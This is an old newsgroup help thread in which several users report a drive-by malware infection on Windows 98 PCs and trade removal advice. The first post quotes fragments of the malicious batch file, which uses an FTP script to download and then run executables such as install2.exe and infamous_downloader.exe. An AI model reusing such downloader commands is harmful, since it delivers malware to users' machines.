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DOS Batch file from hell!!
Today while surfing the net with my Windows 98SE Compaq Armada 1700 laptop, I
encountered a website that displayed a popup add, that asked me a question with two possible answers. I foolishly clicked one of the answers instead of clicking away. After of which my computer screen turned blank, and then started to flash after of which I received a DOS prompt, while something was using the DOSFTP environment to connect to a site and download some apps and install software on my computer. Its like my Computer was being controlled!! I quickly ejected my PC network card from my laptop, and my computer froze. I restarted and a bunch of .exe icons were on my desktop. I attempted to delete all of them, but not all could be removed either from Windows or a DOS session within Windows. It seemed the only way to rid the newely installed .exe files was to reboot to the DOS command prompt. Once in a pure DOS session, I was able to remove the .exe apps from my desktop. It seems that this hassle was triggered by the batch file below. This batch file executes even if you do not open it. I moved the file to the recycle bin, and while moving it back to my PC it executed again. So in order to disable it, I had to boot into a DOS prompt. if not exist C:\WINDOWSstatuslog ftp -s if exist install2.exe install2.exe if exist infamous_downloader.exe infamous_downloader.exe if exist 0021-bdl94126.EXE 0021-bdl94126.EXE if exist CS4P028.exe CS4P028.exe if exist silent.exe silent.exe For future reference what should I do, to protect myself from problems like this? I know I could try not clicking on anypopups, but lets face the facts. There are some websites that auto-install software in the background when I visit their site. Their does not seem to be a easy way around this. Heck, I've even had sites auto-install files when using my Macintosh. But the files were unable to execute since the Mac OS cannot read .exe files. Thanks for any support; Personally I do not know how people with newer floppyless/DOSless laptops survive. How do they solve these kinds of problems, since they cannot boot into a pure DOS mode, and since newer laptops lack a floppy disk drive, neither can they boot into a DOS session easily. I personally would think twice before purchasing a XP laptop. John |
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Uncheck the two "Enable Install on Demand" options in Internet Properties,
Advanced. -E "Coolwater0009" wrote in message ... Today while surfing the net with my Windows 98SE Compaq Armada 1700 laptop, I encountered a website that displayed a popup add, that asked me a question with two possible answers. I foolishly clicked one of the answers instead of clicking away. After of which my computer screen turned blank, and then started to flash after of which I received a DOS prompt, while something was using the DOSFTP environment to connect to a site and download some apps and install software on my computer. Its like my Computer was being controlled!! I quickly ejected my PC network card from my laptop, and my computer froze. I restarted and a bunch of .exe icons were on my desktop. I attempted to delete all of them, but not all could be removed either from Windows or a DOS session within Windows. It seemed the only way to rid the newely installed .exe files was to reboot to the DOS command prompt. Once in a pure DOS session, I was able to remove the .exe apps from my desktop. It seems that this hassle was triggered by the batch file below. This batch file executes even if you do not open it. I moved the file to the recycle bin, and while moving it back to my PC it executed again. So in order to disable it, I had to boot into a DOS prompt. if not exist C:\WINDOWSstatuslog ftp -s if exist install2.exe install2.exe if exist infamous_downloader.exe infamous_downloader.exe if exist 0021-bdl94126.EXE 0021-bdl94126.EXE if exist CS4P028.exe CS4P028.exe if exist silent.exe silent.exe For future reference what should I do, to protect myself from problems like this? I know I could try not clicking on anypopups, but lets face the facts. There are some websites that auto-install software in the background when I visit their site. Their does not seem to be a easy way around this. Heck, I've even had sites auto-install files when using my Macintosh. But the files were unable to execute since the Mac OS cannot read .exe files. Thanks for any support; Personally I do not know how people with newer floppyless/DOSless laptops survive. How do they solve these kinds of problems, since they cannot boot into a pure DOS mode, and since newer laptops lack a floppy disk drive, neither can they boot into a DOS session easily. I personally would think twice before purchasing a XP laptop. John |
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One way to protect yourself is to install a good pop-up blocker. Yahoo has
an excellent one as part of their Companion toolbar. It's free. Go to: http://www.yahoo.com and download and install it. It's very configurable and allows you to sprcify from what websites you DO want to allow pop-ups. I use it on all my PCs. On this new Presario S5200CL, it has blocked 191 pop-up ads in the week I've had the PC online. HH "Coolwater0009" wrote in message ... Today while surfing the net with my Windows 98SE Compaq Armada 1700 laptop, I encountered a website that displayed a popup add, that asked me a question with two possible answers. I foolishly clicked one of the answers instead of clicking away. After of which my computer screen turned blank, and then started to flash after of which I received a DOS prompt, while something was using the DOSFTP environment to connect to a site and download some apps and install software on my computer. Its like my Computer was being controlled!! I quickly ejected my PC network card from my laptop, and my computer froze. I restarted and a bunch of .exe icons were on my desktop. I attempted to delete all of them, but not all could be removed either from Windows or a DOS session within Windows. It seemed the only way to rid the newely installed .exe files was to reboot to the DOS command prompt. Once in a pure DOS session, I was able to remove the .exe apps from my desktop. It seems that this hassle was triggered by the batch file below. This batch file executes even if you do not open it. I moved the file to the recycle bin, and while moving it back to my PC it executed again. So in order to disable it, I had to boot into a DOS prompt. if not exist C:\WINDOWSstatuslog ftp -s if exist install2.exe install2.exe if exist infamous_downloader.exe infamous_downloader.exe if exist 0021-bdl94126.EXE 0021-bdl94126.EXE if exist CS4P028.exe CS4P028.exe if exist silent.exe silent.exe For future reference what should I do, to protect myself from problems like this? I know I could try not clicking on anypopups, but lets face the facts. There are some websites that auto-install software in the background when I visit their site. Their does not seem to be a easy way around this. Heck, I've even had sites auto-install files when using my Macintosh. But the files were unable to execute since the Mac OS cannot read .exe files. Thanks for any support; Personally I do not know how people with newer floppyless/DOSless laptops survive. How do they solve these kinds of problems, since they cannot boot into a pure DOS mode, and since newer laptops lack a floppy disk drive, neither can they boot into a DOS session easily. I personally would think twice before purchasing a XP laptop. John |
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As a last resort, you could buy a Mac laptop. SPyware and such
program would still end up on your hard drive but it won't do anything because it can't run in MacOS at all. I have a Mac desktop. Yes as I mentioned such files have been downloaded, but because of the mac nature, they were never executed. |
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hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately, several files were downloaded to my hard drive, as evidenced by the following new icons on my desktop: o; o.bat; 0021-bdl94126.exe; cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe. I went back to Explorer to check Google for information about the downloaded files, but as IE loaded, a steady stream of pop-up ads came across the screen, faster than I could close them. I finally performed a ctrl-alt-del to shut the computer down, then rebooted. I immediately noticed that any/all programs took much longer to load and were slower to operate, and that IE was now essentially useless because of the barrage of pop-ups. any clue how to fix. going on the net in virtually im possible now ive run virus scan thru them. they keep popping up? any help is appricated. bianca ============== Posted through www.HowToFixComputers.com/bb - free access to hardware troubleshooting newsgroups. |
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hi
my aunty's pc has been hijacked, couple weeks ago Almost immediately, several files were downloaded to my hard drive, as evidenced by the following new icons on my desktop: o; o.bat; 0021-bdl94126.exe; cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe. I went back to Explorer to check Google for information about the downloaded files, but as IE loaded, a steady stream of pop-up ads came across the screen, faster than I could close them. I finally performed a ctrl-alt-del to shut the a href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a down, then rebooted. I immediately noticed that any/all programs took much longer to load and were slower to operate, and that IE was now essentially useless because of the barrage of pop-ups. any clue how to fix. going on the net in virtually im possible now ive run a href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a scan thru them. they keep popping up? any help is appricated. bianca ============== Posted through www.HowToFixComputers.com/bb - free access to hardware troubleshooting newsgroups. |
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Yahoo has an excellent pop-up blocker as part of it's free Companion toolbar
for Internet Explorer. It's available at http://www.yahoo.com I also would recommend downloading and installing SpyBot search and Destroy version 1.2 from http://www.safer-networking.org/ It also is free. I'd also recommend a thorough virus scan. HH "bianca" wrote in message ... hi my aunty's pc has been hijacked, couple weeks ago Almost immediately, several files were downloaded to my hard drive, as evidenced by the following new icons on my desktop: o; o.bat; 0021-bdl94126.exe; cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe. I went back to Explorer to check Google for information about the downloaded files, but as IE loaded, a steady stream of pop-up ads came across the screen, faster than I could close them. I finally performed a ctrl-alt-del to shut the a href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a down, then rebooted. I immediately noticed that any/all programs took much longer to load and were slower to operate, and that IE was now essentially useless because of the barrage of pop-ups. any clue how to fix. going on the net in virtually im possible now ive run a href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a scan thru them. they keep popping up? any help is appricated. bianca ============== Posted through www.HowToFixComputers.com/bb - free access to hardware troubleshooting newsgroups. |
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Bianca's description sounds very much like a worm which is best removed by one
of Spybot, Ad-Aware, or your favorite anti-virus software, all brought up to date with the latest info. As to which one will nail it? Your guess is as good as mine. Today, after too many struggles, I ran a complete Norton Anti-Virus deep virus scan to get rid of a popup type of worm. Fortunately, the allowed me to download the virus definition updates, which may have gotten it .. Ben Myers On Tue, 29 Jun 2004 22:02:38 -0400, "HH" wrote: Yahoo has an excellent pop-up blocker as part of it's free Companion toolbar for Internet Explorer. It's available at http://www.yahoo.com I also would recommend downloading and installing SpyBot search and Destroy version 1.2 from http://www.safer-networking.org/ It also is free. I'd also recommend a thorough virus scan. HH "bianca" wrote in message ... hi my aunty's pc has been hijacked, couple weeks ago Almost immediately, several files were downloaded to my hard drive, as evidenced by the following new icons on my desktop: o; o.bat; 0021-bdl94126.exe; cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe. I went back to Explorer to check Google for information about the downloaded files, but as IE loaded, a steady stream of pop-up ads came across the screen, faster than I could close them. I finally performed a ctrl-alt-del to shut the a href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a down, then rebooted. I immediately noticed that any/all programs took much longer to load and were slower to operate, and that IE was now essentially useless because of the barrage of pop-ups. any clue how to fix. going on the net in virtually im possible now ive run a href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a scan thru them. they keep popping up? any help is appricated. bianca ============== Posted through www.HowToFixComputers.com/bb - free access to hardware troubleshooting newsgroups. |
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ben_myers_spam_me_not @ charter.net (Ben Myers) wrote in message ...
Bianca's description sounds very much like a worm which is best removed by one of Spybot, Ad-Aware, or your favorite anti-virus software, all brought up to date with the latest info. As to which one will nail it? Your guess is as good as mine. Today, after too many struggles, I ran a complete Norton Anti-Virus deep virus scan to get rid of a popup type of worm. Fortunately, the allowed me to download the virus definition updates, which may have gotten it .. Ben Myers On Tue, 29 Jun 2004 22:02:38 -0400, "HH" wrote: Yahoo has an excellent pop-up blocker as part of it's free Companion toolbar for Internet Explorer. It's available at http://www.yahoo.com I also would recommend downloading and installing SpyBot search and Destroy version 1.2 from http://www.safer-networking.org/ It also is free. I'd also recommend a thorough virus scan. HH "bianca" wrote in message ... hi my aunty's pc has been hijacked, couple weeks ago Almost immediately, several files were downloaded to my hard drive, as evidenced by the following new icons on my desktop: o; o.bat; 0021-bdl94126.exe; cs4po28.exe; silent.exe; install2.exe; and infamous_downloader.exe. I went back to Explorer to check Google for information about the downloaded files, but as IE loaded, a steady stream of pop-up ads came across the screen, faster than I could close them. I finally performed a ctrl-alt-del to shut the a href="http://www.ntsearch.com/search.php?q=computer&v=56"computer/a down, then rebooted. I immediately noticed that any/all programs took much longer to load and were slower to operate, and that IE was now essentially useless because of the barrage of pop-ups. any clue how to fix. going on the net in virtually im possible now ive run a href="http://www.ntsearch.com/search.php?q=virus&v=56"virus/a scan thru them. they keep popping up? any help is appricated. bianca ============== Posted through www.HowToFixComputers.com/bb - free access to hardware troubleshooting newsgroups. this is a MEAN sucker, Bianca, but i was able to extract it... i'm running windows 98. I deleted all temporary files and cookies. I rechose a new home page from 'favorites'. I tried to delete the new programs from my desktop but the 'infamous' and another numbered one were refused - 'program in use'... i then opened the properties for each, unchecked any boxes ("archive") and closed. It still wouldn't delete. So i shut down, restarted, and FIRST THING went to delete the files. It seemed to take several tries to get both, but eventually they went, and now everything went back to normal. GOOD LUCK with this. Sure looks like the ad for the antispyware program that piggybacks with this monster is, um, CONNECTED with it. Can he be charged? I didn't check out the spam t find out who it was, tho... Ðª× 1. |
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